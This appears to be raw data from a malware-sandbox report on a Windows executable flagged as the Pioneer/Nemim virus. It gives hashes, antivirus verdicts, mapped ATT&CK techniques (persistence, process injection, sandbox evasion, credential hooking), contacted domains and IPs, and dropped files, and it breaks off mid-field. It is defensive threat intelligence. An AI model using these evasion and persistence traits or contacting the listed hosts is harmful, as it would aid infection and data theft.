N9puYf8f2X4rtPd75aQEj4uK3gAAAABJRU5ErkJggg==31:T570,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAD2UlEQVR42u2X21cTVxTG/b/6jlatFbkoeI1oi66FS0EEBF2QkHsgxgAWCYZwCYEQkNraSu2rLcQ++NQ+6Ru+EHKbWy74uc8MSQY6Y4i69IWz1rfO5Mxl//Z39jkzOXBgv33tZnW60ddv+6LqtzhQBLDYHPjv9Tpe/fuG9Pqz6sdOj2bPIEoO2Afx12r0k7S69hJr0X+w9lLRKh3/TWNMWtfvADCZHUjzIrIZCRlJ/Agp90ka2n0tiyFkcrsB7PLgl9T/AHL5vHxiZeUFnv/5ak9a+eMF8rmsrGg0qqlC5t9cmZDFjjUB8tsA7ME1PQuovRNGXe886o1zOGkO4ZQ1hEZnEI0DMzjjmcJZ76R87dv1dWREvuw0VQRwwbYMg+MxDM4lNA0u4pIngsveBfwwMo/m0Tlc8YVw1T+rAuA+zQH2Y0sF0OL9FS3Dv+Dagye4/pDkW0ar/zHaAku4Ob2I9mAEHXPhIkCWAJQiFJReFDQdqDIN6wNwglgE6Bh/hi7/7+gK/Ibu6ae4QcGv+cNoHg/i4pgfBt84miZ8JQCBL+sAC378gVMfIMUJRQBj8DnuzjxD01AIx2xjOGgZwreO+zgy4MHRe24c8w7g+IhTBcAVM5cK/S4XWPDGmd69AbQ++hlHzKOo6h/GIZsXh50UfPAevrs/iO+HXfLDTjy0qwDSZR1gwZuftugDpFUAVcYRJWs7BS9mTcFHXKj+yYETYzbUPrLsqAGJNiNR0F8NLPiHAfgSwCHrtuUsaw8FHxqQs64etaPGZ0Wd34yTAVNpFQjlV8EeAEpFeNhFWbtVlrOsyfLacSvqJ/pxatKIBrK0CMBzFW3jZQHUhVY96kANWV5HltcHKPhUH83nXZwJ9VS0D1QEoC602oLlkyY0TPfidPAOzs5143y4cwdAZnsFfBYH1IUmWz5lVLKe7cG5+ds4v9AJw2J7EUCkGmAFqLUBsTGBzqVSKSQSCSQT8fIA6kJrmO6jrJnl3TgX7sKFSAcuLrWjabmtCCB9YBlKIj2XAJPJBOLxOBLxTR0A1U6oLrTTs8zy27LlhsgtCn4Tl5ZbcfnJdRVASjP7ggM8FSnLPBaLYXMzpg3AC8qHwuTU4p5fxxOBiDIFvH4R8hyHdCpJgTcVgJgOQDKtOMDe7eyhlYhPlxxgPasHjksjlVbmnWW9sbEhSxcgnhLlVzK2MshKHIAskKexDI8cCVsSjb0jbZHyynlk8C6nFFlh/xcFARw5kqbgKco8QXOfVIm5oQvw1T7J2Dd6T5/5o7/xTXS/xe6C3eWG1eGG2eqEscw9N9puYf8f2X4rtPd75aQEj4uK3gAAAABJRU5ErkJggg==1b:["$","$L2",null,{"children":[["$","script",null,{"type":"application/ld+json","dangerouslySetInnerHTML":{"__html":"$23"}}],["$","$L24",null,{"initialData":{"schema_version":"1.0.15","sha256":"1d24d8268c2f8e82b65d58429c166367eee9683c38a1408910536d8084f4ad46","overall_status":"SUCCESS","all_analysis_status":{"qsp_status":"NOT_AVAILABLE","sandbox_status":"SUCCESS","fastscan_status":"SUCCESS"},"verdict":"malicious","threat_score":100,"unified_at_epoch_ms":1790530254393,"unified_at":"2026-09-27T17:30:54.393Z","metadata":{"hashes":{"sha256":"1d24d8268c2f8e82b65d58429c166367eee9683c38a1408910536d8084f4ad46","sha1":"00b45c5d3da2bb33336a196bed0545c01c78d1c8","md5":"043c84cef3e011e3dc731d643a205f4e","sha512":"b390f48c01cc02bd6b6759463cd136aedbba1da89f52d306cf9c723e8aa1f7fa6a297f8590268767fdc146a774ec5790a6c2cad81b4ffc463c9a34b5bd075105","ssdeep":"12288:OeN1do7fE8FRs4p1E7oNOLLtpT7hBechK1:jkoLL5BechK1","ssdeep_chunks":["12288:OeN1do7","12288:eN1do7f","12288:N1do7fE","12288:1do7fE8","12288:do7fE8F","12288:o7fE8FR","12288:7fE8FRs","12288:fE8FRs4","12288:E8FRs4p","12288:8FRs4p1","12288:FRs4p1E","12288:Rs4p1E7","12288:s4p1E7o","12288:4p1E7oN","12288:p1E7oNO","12288:1E7oNOL","12288:E7oNOLL","12288:7oNOLLt","12288:oNOLLtp","12288:NOLLtpT","12288:OLLtpT7","12288:LLtpT7h","12288:LtpT7hB","12288:tpT7hBe","12288:pT7hBec","12288:T7hBech","12288:7hBechK","12288:hBechK1","24576:OeN1do7","24576:eN1do7f","24576:N1do7fE","24576:1do7fE8","24576:do7fE8F","24576:o7fE8FR","24576:7fE8FRs","24576:fE8FRs4","24576:E8FRs4p","24576:8FRs4p1","24576:FRs4p1E","24576:Rs4p1E7","24576:s4p1E7o","24576:4p1E7oN","24576:p1E7oNO","24576:1E7oNOL","24576:E7oNOLL","24576:7oNOLLt","24576:oNOLLtp","24576:NOLLtpT","24576:OLLtpT7","24576:LLtpT7h","24576:LtpT7hB","24576:tpT7hBe","24576:pT7hBec","24576:T7hBech","24576:7hBechK","24576:hBechK1","12288:jkoLL5B","12288:koLL5Be","12288:oLL5Bec","12288:LL5Bech","12288:L5BechK","12288:5BechK1"],"imphash":"3caef2a3e26a09c05c123499127e54c2"},"file_info":{"file_name":"file","file_type":["peexe","executable"],"file_type_id":"exe","file_size":630644,"is_container_sample":false,"url_analysis":false},"submissions":{"first_seen":1643741535000,"last_seen":1678980674000,"last_multi_scan":1678980674000}},"detections":{"summary":{"verdict":"malicious","score":100,"tags":["agent","garveep","mailpassview","nemim","tapaoux"]},"stats":{"av":{"malicious_count":19,"suspicious_count":0,"total_engines":28},"attributions":{"malware_families_count":1,"threat_actors_count":0,"campaigns_count":0,"threat_types_count":0,"cves_count":0},"mitre_attacks":{"total":17},"sandbox_signatures":{"informative_count":24,"suspicious_count":22,"malicious_count":9,"total":55},"rule_matches":{"yara_count":0,"sigma_count":0,"suricata_count":0}},"av_detections":{"engines":{"aegislab":{"name":"AegisLab","success":true,"verdict":"malicious","threat_name":"Virus.Win32.Pioneer.mv7p","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"ahnlab":{"name":"AhnLab","success":true,"verdict":"malicious","threat_name":"Win32/Pioneer","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"antiy":{"name":"Antiy","success":true,"verdict":"malicious","threat_name":"Virus/Win32.Pioneer.bl","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"avira":{"name":"Avira","success":true,"verdict":"malicious","threat_name":"HEUR/AGEN.1251083","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"bitdefender":{"name":"Bitdefender","success":true,"verdict":"malicious","threat_name":"Win32.Pioneer.D","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"clamav":{"name":"ClamAV","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"comodo":{"name":"Comodo","success":true,"verdict":"malicious","threat_name":"Malware","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"crowdstrike":{"name":"CrowdStrike","success":true,"verdict":"malicious","threat_name":"win/malicious_confidence_100% (W)","status":"malicious","progress":100,"data_source":"CrowdStrike","permalink":"https://www.crowdstrike.com/en-us/platform/endpoint-security/"},"cyren":{"name":"Cyren","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"emsisoft":{"name":"Emsisoft","success":true,"verdict":"malicious","threat_name":"Win32.Pioneer.D (B)","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"eset":{"name":"ESET","success":true,"verdict":"malicious","threat_name":"Win32/Agent.SEL trojan","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"filseclab":{"name":"Filseclab","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"huorong":{"name":"Huorong","success":true,"verdict":"malicious","threat_name":"Virus/Nemim.a@U","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"k7":{"name":"K7","success":true,"verdict":"malicious","threat_name":"Trojan ( 00193fca1 )","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"kaspersky":{"name":"Kaspersky","success":true,"verdict":"malicious","threat_name":"Virus.Win32.Pioneer.bl","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"mcafee":{"name":"McAfee","success":true,"verdict":"malicious","threat_name":"W32/Pioneer.gen.e","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"microsoftdefender":{"name":"Microsoft Defender","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"nanoav":{"name":"NANOAV","success":true,"verdict":"malicious","threat_name":"Virus.Win32.Pioneer.cdfvck","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"netgate":{"name":"NETGATE","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"rocketcyber":{"name":"RocketCyber","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"sophos":{"name":"Sophos","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"tachyon":{"name":"TACHYON","success":true,"verdict":"malicious","threat_name":"Win32.Pioneer.D","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"trendmicro":{"name":"Trend Micro","success":true,"verdict":"malicious","threat_name":"PE_NEMIM.A","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"trendmicrohousecall":{"name":"Trend Micro HouseCall","success":true,"verdict":"malicious","threat_name":"PE_NEMIM.A","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"viritexplorer":{"name":"Vir.IT eXplorer","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"virusblokada":{"name":"VirusBlokAda","success":true,"verdict":"malicious","threat_name":"Virus.Pioneer.5515","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"webrootsmd":{"name":"Webroot SMD","success":true,"verdict":"malicious","threat_name":"Malware","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"zillya":{"name":"Zillya!","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"}}},"rule_matches":{},"attributions":{"malware_families":[{"value":"Virus.Pioneer","sources":[{"report_type":"quickscan","report_id":""}]}]},"mitre_attacks":[{"tactic":"Persistence","technique":"Registry Run Keys / Startup Folder","attack_id":"T1547.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1547/001","identifiers":[{"type":"suspicious","value":"Modifies auto-execute functionality by setting/creating a value in the registry"}],"sources":[{"report_type":"sandbox","report_id":"61f9815f13de3845943bf78b"}]},{"tactic":"Privilege Escalation","technique":"Process Injection","attack_id":"T1055","attack_id_wiki":"https://attack.mitre.org/techniques/T1055","identifiers":[{"type":"malicious","value":"Writes data to a remote process"}],"sources":[{"report_type":"sandbox","report_id":"61f9815f13de3845943bf78b"}]},{"tactic":"Defense Evasion","technique":"Modify Registry","attack_id":"T1112","attack_id_wiki":"https://attack.mitre.org/techniques/T1112","identifiers":[{"type":"informative","value":"Creates or modifies windows services"},{"type":"informative","value":"Accesses System Certificates Settings"},{"type":"suspicious","value":"Modifies proxy settings"},{"type":"suspicious","value":"Modifies Software Policy Settings"}],"sources":[{"report_type":"sandbox","report_id":"61f9815f13de3845943bf78b"}]},{"tactic":"Defense Evasion","technique":"File Deletion","attack_id":"T1070.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1070/004","identifiers":[{"type":"suspicious","value":"Opens file with deletion access rights"},{"type":"suspicious","value":"Marks file for deletion"}],"sources":[{"report_type":"sandbox","report_id":"61f9815f13de3845943bf78b"}]},{"tactic":"Defense Evasion","technique":"NTFS File Attributes","attack_id":"T1564.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1564/004","identifiers":[{"type":"malicious","value":"Checks for a resource fork (ADS) file"}],"sources":[{"report_type":"sandbox","report_id":"61f9815f13de3845943bf78b"}]},{"tactic":"Defense Evasion","technique":"Virtualization/Sandbox Evasion","attack_id":"T1497","attack_id_wiki":"https://attack.mitre.org/techniques/T1497","identifiers":[{"type":"malicious","value":"The input sample contains a known anti-VM trick"},{"type":"suspicious","value":"Contains ability to detect virtual environment"}],"sources":[{"report_type":"sandbox","report_id":"61f9815f13de3845943bf78b"}]},{"tactic":"Defense Evasion","technique":"Software Packing","attack_id":"T1027.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/002","identifiers":[{"type":"informative","value":"Matched Compiler/Packer signature"}],"sources":[{"report_type":"sandbox","report_id":"61f9815f13de3845943bf78b"}]},{"tactic":"Defense Evasion","technique":"Code Signing","attack_id":"T1553.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1553/002","identifiers":[{"type":"informative","value":"The input sample is signed with a certificate"}],"sources":[{"report_type":"sandbox","report_id":"61f9815f13de3845943bf78b"}]},{"tactic":"Credential Access","technique":"Credential API Hooking","attack_id":"T1056.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1056/004","identifiers":[{"type":"suspicious","value":"Installs hooks/patches the running process"}],"sources":[{"report_type":"sandbox","report_id":"61f9815f13de3845943bf78b"}]},{"tactic":"Discovery","technique":"Query Registry","attack_id":"T1012","attack_id_wiki":"https://attack.mitre.org/techniques/T1012","identifiers":[{"type":"suspicious","value":"Checks warning level of secure to non-secure traffic redirection"},{"type":"informative","value":"Reads Windows Trust Settings"},{"type":"informative","value":"Accesses Software Policy Settings"},{"type":"informative","value":"Reads the registry for installed applications"},{"type":"suspicious","value":"Queries the internet cache settings (often used to hide footprints in index.dat or internet cache)"},{"type":"suspicious","value":"Reads information about supported languages"},{"type":"suspicious","value":"Queries sensitive IE security settings"},{"type":"suspicious","value":"Reads the active computer name"}],"sources":[{"report_type":"sandbox","report_id":"61f9815f13de3845943bf78b"}]},{"tactic":"Discovery","technique":"Application Window Discovery","attack_id":"T1010","attack_id_wiki":"https://attack.mitre.org/techniques/T1010","identifiers":[{"type":"informative","value":"Scanning for window names"}],"sources":[{"report_type":"sandbox","report_id":"61f9815f13de3845943bf78b"}]},{"tactic":"Discovery","technique":"System Information Discovery","attack_id":"T1082","attack_id_wiki":"https://attack.mitre.org/techniques/T1082","identifiers":[{"type":"suspicious","value":"Reads the cryptographic machine GUID"},{"type":"informative","value":"Contains ability to read software policies"}],"sources":[{"report_type":"sandbox","report_id":"61f9815f13de3845943bf78b"}]},{"tactic":"Lateral Movement","technique":"Remote Desktop Protocol","attack_id":"T1021.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1021/001","identifiers":[{"type":"suspicious","value":"Reads terminal service related keys (often RDP related)"}],"sources":[{"report_type":"sandbox","report_id":"61f9815f13de3845943bf78b"}]},{"tactic":"Collection","technique":"Email Collection","attack_id":"T1114","attack_id_wiki":"https://attack.mitre.org/techniques/T1114","identifiers":[{"type":"suspicious","value":"Found a potential E-Mail address in binary/memory"}],"sources":[{"report_type":"sandbox","report_id":"61f9815f13de3845943bf78b"}]},{"tactic":"Command and Control","technique":"Encrypted Channel","attack_id":"T1573","attack_id_wiki":"https://attack.mitre.org/techniques/T1573","sources":[{"report_type":"sandbox","report_id":"61f9815f13de3845943bf78b"}]},{"tactic":"Command and Control","technique":"Standard Encoding","attack_id":"T1132.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1132/001","identifiers":[{"type":"informative","value":"HTTP request contains Base64 encoded artifacts"}],"sources":[{"report_type":"sandbox","report_id":"61f9815f13de3845943bf78b"}]},{"tactic":"Command and Control","technique":"Web Protocols","attack_id":"T1071.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1071/001","identifiers":[{"type":"informative","value":"GETs files from a webserver"}],"sources":[{"report_type":"sandbox","report_id":"61f9815f13de3845943bf78b"}]}],"sandbox_signatures":[{"level":"informative","category":"Environment Awareness","name":"Contains ability to read software policies","description":"\".exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"TRANSPARENTENABLED\")\n \".exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"AUTHENTICODEENABLED\")\n \"igfxext.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"TRANSPARENTENABLED\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":1,"id":"registry-78","sources":[{"report_type":"sandbox","report_id":"61f9815f13de3845943bf78b"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the registry for installed applications","description":"\".exe\" (Path: \"HKLM\\SOFTWARE\\WOW6432NODE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\UNINSTALL\")\n \".exe\" (Path: \"HKLM\\SOFTWARE\\WOW6432NODE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\UNINSTALL\\NVIDIA NVIEW DESKTOP MANAGER\")\n \".exe\" (Path: \"HKLM\\SOFTWARE\\WOW6432NODE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\UNINSTALL\\NVIEW DESKTOP MANAGER\")","origin":"Registry Access","mitre_attack_id":"T1012","relevance":10,"id":"registry-55","sources":[{"report_type":"sandbox","report_id":"61f9815f13de3845943bf78b"}]},{"level":"informative","category":"General","name":"Accesses Software Policy Settings","description":"$25","origin":"Registry Access","mitre_attack_id":"T1012","relevance":10,"id":"registry-18","sources":[{"report_type":"sandbox","report_id":"61f9815f13de3845943bf78b"}]},{"level":"informative","category":"General","name":"Accesses System Certificates Settings","description":"$26","origin":"Registry Access","mitre_attack_id":"T1112","relevance":10,"id":"registry-17","sources":[{"report_type":"sandbox","report_id":"61f9815f13de3845943bf78b"}]},{"level":"informative","category":"General","name":"Contacts domains","description":"\"autozone.000space.com\"\n \"autoparts.phpnet.us\"\n \"autonomy.host22.com\"\n \"autoinsurance.000space.com\"\n \"auto24col.info\"","origin":"Network Traffic","relevance":1,"id":"network-0","sources":[{"report_type":"sandbox","report_id":"61f9815f13de3845943bf78b"}]},{"level":"informative","category":"General","name":"Contacts server","description":"\"199.59.243.200:80\"\n \"153.92.0.100:80\"\n \"104.19.185.120:443\"\n \"185.27.134.93:80\"","origin":"Network Traffic","relevance":1,"id":"network-1","sources":[{"report_type":"sandbox","report_id":"61f9815f13de3845943bf78b"}]},{"level":"informative","category":"General","name":"Creates mutants","description":"\"\\Sessions\\1\\BaseNamedObjects\\320111223\"\n \"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesCacheCounterMutex\"\n \"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesLockedCacheCounterMutex\"\n \"320111223\"\n \"Local\\ZonesLockedCacheCounterMutex\"\n \"Local\\ZonesCacheCounterMutex\"","origin":"Created Mutant","relevance":3,"id":"mutant-0","sources":[{"report_type":"sandbox","report_id":"61f9815f13de3845943bf78b"}]},{"level":"informative","category":"General","name":"Drops files marked as clean","description":"Antivirus vendors marked dropped file \"Tar601F.tmp\" as clean (type is \"data\")","origin":"Binary File","relevance":10,"id":"binary-16","sources":[{"report_type":"sandbox","report_id":"61f9815f13de3845943bf78b"}]},{"level":"informative","category":"General","name":"GETs files from a webserver","description":"$27","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":5,"id":"network-2","sources":[{"report_type":"sandbox","report_id":"61f9815f13de3845943bf78b"}]},{"level":"informative","category":"General","name":"Overview of unique CLSIDs touched in registry","description":"\"igfxext.exe\" touched \"NetworkListManager\" (Path: \"HKLM\\SOFTWARE\\CLASSES\\WOW6432NODE\\CLSID\\{DCB00C01-570F-4A9B-8D69-199FDBA5723B}\")\n \"igfxext.exe\" touched \"Network List Manager\" (Path: \"HKLM\\SOFTWARE\\CLASSES\\CLSID\\{A47979D2-C419-11D9-A5B4-001185AD2B89}\")\n \"igfxext.exe\" touched \"PSFactoryBuffer\" (Path: \"HKLM\\SOFTWARE\\CLASSES\\WOW6432NODE\\CLSID\\{1299CF18-C4F5-4B6A-BB0F-2299F0398E27}\\TREATAS\")\n \"igfxext.exe\" touched \"WinInetBroker Class\" (Path: \"HKCU\\CLSID\\{C39EE728-D419-4BD4-A3EF-EDA059DBD935}\")","origin":"Registry Access","relevance":3,"id":"registry-72","sources":[{"report_type":"sandbox","report_id":"61f9815f13de3845943bf78b"}]},{"level":"informative","category":"General","name":"Process launched with changed environment","description":"Process \"igfxext.exe\" (UID: 00000000-00003508) was launched with new environment variables: \"PROCESSOR_ARCHITEW6432=\"AMD64\"\"\n Process \"igfxext.exe\" (UID: 00000000-00003508) was launched with modified environment variables: \"CommonProgramFiles, PROCESSOR_ARCHITECTURE, ProgramFiles\"\n Process \"igfxext.exe\" (UID: 00000000-00003464) was launched with new environment variables: \"PROMPT=\"$P$G\"\"\n Process \"igfxext.exe\" (UID: 00000000-00003464) was launched with modified environment variables: \"Path\"","origin":"Monitored Target","relevance":10,"id":"target-67","sources":[{"report_type":"sandbox","report_id":"61f9815f13de3845943bf78b"}]},{"level":"informative","category":"General","name":"Reads Windows Trust Settings","description":"\"igfxext.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\WINTRUST\\TRUST PROVIDERS\\SOFTWARE PUBLISHING\"; Key: \"STATE\")","origin":"Registry Access","mitre_attack_id":"T1012","relevance":5,"id":"registry-20","sources":[{"report_type":"sandbox","report_id":"61f9815f13de3845943bf78b"}]},{"level":"informative","category":"General","name":"Scanning for window names","description":"\".exe\" searching for class \"NVIDIA TwinView Window\"\n \".exe\" searching for class \"#32770\"","origin":"API Call","mitre_attack_id":"T1010","relevance":10,"id":"api-70","sources":[{"report_type":"sandbox","report_id":"61f9815f13de3845943bf78b"}]},{"level":"informative","category":"General","name":"Spawns new processes","description":"Spawned process \"igfxext.exe\" (UID: 00000000-00003508)\n Spawned process \"igfxext.exe\" with commandline \"/260\" (UID: 00000000-00003464)","origin":"Monitored Target","relevance":3,"id":"target-25","sources":[{"report_type":"sandbox","report_id":"61f9815f13de3845943bf78b"}]},{"level":"informative","category":"General","name":"Spawns new processes that are not known child processes","description":"Spawned process \"igfxext.exe\" (UID: 00000000-00003508)\n Spawned process \"igfxext.exe\" with commandline \"/260\" (UID: 00000000-00003464)","origin":"Monitored Target","relevance":3,"id":"target-103","sources":[{"report_type":"sandbox","report_id":"61f9815f13de3845943bf78b"}]},{"level":"informative","category":"General","name":"The input sample is signed with a certificate","description":"$28","origin":"Certificate Data","mitre_attack_id":"T1553.002","relevance":10,"id":"certificate-0","sources":[{"report_type":"sandbox","report_id":"61f9815f13de3845943bf78b"}]},{"level":"informative","category":"Installation/Persistence","name":"Connects to LPC ports","description":"\".exe\" connecting to \"\\ThemeApiPort\"","origin":"API Call","relevance":1,"id":"api-16","sources":[{"report_type":"sandbox","report_id":"61f9815f13de3845943bf78b"}]},{"level":"informative","category":"Installation/Persistence","name":"Dropped files","description":"\"igfxext.exe.bin\" has type \"PE32 executable (GUI) Intel 80386 for MS Windows\"\n \"igfxext.exe\" has type \"PE32 executable (GUI) Intel 80386 for MS Windows\"\n \"EQUMH7O4.txt\" has type \"ASCII text\"\n \"AXKNNIKS.txt\" has type \"ASCII text\"\n \"77EC63BDA74BD0D0E0426DC8F8008506\" has type \"data\"\n \"Cab601E.tmp\" has type \"Microsoft Cabinet archive data 61414 bytes 1 file\"\n \"07CEF2F654E3ED6050FFC9B6EB844250_3431D4C539FB2CFCB781821E9902850D\" has type \"data\"\n \"57C8EDB95DF3F0AD4EE2DC2B8CFD4157\" has type \"Microsoft Cabinet archive data 4817 bytes 1 file\"\n \"XP41HVLQ.txt\" has type \"ASCII text\"\n \"W7BNPFGH.txt\" has type \"ASCII text\"\n \"B2FAF7692FD9FFBD64EDE317E42334BA_D7393C8F62BDE4D4CB606228BC7A711E\" has type \"data\"\n \"Tar601F.tmp\" has type \"data\"\n \"B063I7JR.txt\" has type \"ASCII text\"\n \"3C4A9AB1.txt\" has type \"ASCII text\"\n \"77EC63BDA74BD0D0E0426DC8F8008506\" has type \"Microsoft Cabinet archive data 61414 bytes 1 file\"\n \"57C8EDB95DF3F0AD4EE2DC2B8CFD4157\" has type \"data\"","origin":"Binary File","relevance":3,"id":"binary-0","sources":[{"report_type":"sandbox","report_id":"61f9815f13de3845943bf78b"}]},{"level":"informative","category":"Installation/Persistence","name":"Touches files in the Windows directory","description":"$29","origin":"API Call","relevance":7,"id":"api-55","sources":[{"report_type":"sandbox","report_id":"61f9815f13de3845943bf78b"}]},{"level":"informative","category":"Network Related","name":"Found potential URL in binary/memory","description":"$2a","origin":"File/Memory","relevance":10,"id":"string-3","sources":[{"report_type":"sandbox","report_id":"61f9815f13de3845943bf78b"}]},{"level":"informative","category":"Network Related","name":"HTTP request contains Base64 encoded artifacts","description":"\">If;<\"7zP* \", \"}Nm]y^[}\", \"D\"vh>;]Ig;<\"7zP* \"\n \"}Nm]y^[}\"\n \"D\"vh>;]Ig;<\"7zP* \"\n \"}Nm]y^[}\"\n \"D\"vh>;]Ih;<\"7zP* \"\n \"}Nm]y^[}\"\n \"D\"vh>;]Ii;<\"7zP* \"\n \"}Nm]y^[}\"\n \"D\"vh>;]Ii;<\"7zP* \"\n \"}Nm]y^[}\"\n \"D\"vh>;]Ii;<\"7zP* \"\n \"}Nm]y^[}\"\n \"D\"vh>;].exe\" opened \"\\Device\\KsecDD\"\n \"igfxext.exe\" opened \"\\Device\\KsecDD\"","origin":"API Call","relevance":10,"id":"api-37","sources":[{"report_type":"sandbox","report_id":"61f9815f13de3845943bf78b"}]},{"level":"informative","category":"Unusual Characteristics","name":"Matched Compiler/Packer signature","description":"\"igfxext.exe.bin\" was detected as \"Microsoft visual C++ 5.0\"","origin":"Static Parser","mitre_attack_id":"T1027.002","relevance":10,"id":"static-18","sources":[{"report_type":"sandbox","report_id":"61f9815f13de3845943bf78b"}]},{"level":"suspicious","category":"Anti-Detection/Stealthyness","name":"Queries kernel debugger information","description":"\"igfxext.exe\" at 00000000-00003508-00000033-3752604\n \"igfxext.exe\" at 00000000-00003464-00000033-4378622","origin":"API Call","relevance":6,"id":"api-10","sources":[{"report_type":"sandbox","report_id":"61f9815f13de3845943bf78b"}]},{"level":"suspicious","category":"Anti-Detection/Stealthyness","name":"Queries the internet cache settings (often used to hide footprints in index.dat or internet cache)","description":"$2b","origin":"Registry Access","mitre_attack_id":"T1012","relevance":3,"id":"registry-29","sources":[{"report_type":"sandbox","report_id":"61f9815f13de3845943bf78b"}]},{"level":"suspicious","category":"Environment Awareness","name":"Contains ability to detect virtual environment","description":"\"igfxext.exe\" (Path: \"HKLM\\HARDWARE\\DESCRIPTION\\SYSTEM\\CENTRALPROCESSOR\\0\"; Key: \"PROCESSORNAMESTRING\")","origin":"Registry Access","mitre_attack_id":"T1497","relevance":7,"id":"registry-87","sources":[{"report_type":"sandbox","report_id":"61f9815f13de3845943bf78b"}]},{"level":"suspicious","category":"Environment Awareness","name":"Reads the active computer name","description":"\"igfxext.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")","origin":"Registry Access","mitre_attack_id":"T1012","relevance":5,"id":"registry-35","sources":[{"report_type":"sandbox","report_id":"61f9815f13de3845943bf78b"}]},{"level":"suspicious","category":"Environment Awareness","name":"Reads the cryptographic machine GUID","description":"\"igfxext.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\CRYPTOGRAPHY\"; Key: \"MACHINEGUID\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":10,"id":"registry-1","sources":[{"report_type":"sandbox","report_id":"61f9815f13de3845943bf78b"}]},{"level":"suspicious","category":"General","name":"Found a potential E-Mail address in binary/memory","description":"Pattern match: 